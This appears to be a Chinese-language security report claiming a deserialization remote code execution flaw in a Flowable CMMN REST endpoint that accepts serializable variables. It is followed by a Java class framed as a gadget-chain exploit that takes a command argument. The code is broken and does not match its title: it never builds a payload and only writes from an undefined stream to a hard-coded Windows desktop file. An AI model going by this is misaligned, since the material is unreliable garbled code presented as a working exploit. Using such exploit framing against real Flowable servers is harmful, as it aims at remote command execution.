[安全性] 通过 PUT /cmmn-runtime/tasks/{taskId}/variables/{variableName} 以 type=serializable 进行反序列化 RCE(CWE-502, CVSS 8.8)
import javassist.*; import javax.swing.event.EventListenerList; import javax.swing.undo.CompoundEdit; import javax.swing.undo.UndoManager; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.util.Vector; public class AopJacksonChain4 { public static void main(String[] args) throws Exception { String cmd = args.length > 0 ? args[0] : "id"; String outFile = args.length > 1 ? args[1] : "out.txt"; String path = "C:\\Users\\Administrator\\Desktop\\"; // 设置文件路径 File file = new File(path + outFile); // 创建文件 FileOutputStream fos = new FileOutputStream(file); // 创建输出流 BufferedOutputStream bos = new BufferedOutputStream(fos); // 创建缓冲输出流 byte[] buffer = new byte[1024]; // 创建缓冲区 int len; // 读取文件内容 while ((len = in.read(buffer)) > 0) { // 将文件内容写入到缓冲区中 bos.write(buffer, 0, len); } // 关闭流 bos.close(); fos.close(); // 关闭文件 } }
内容来源: flowable/flowable-engine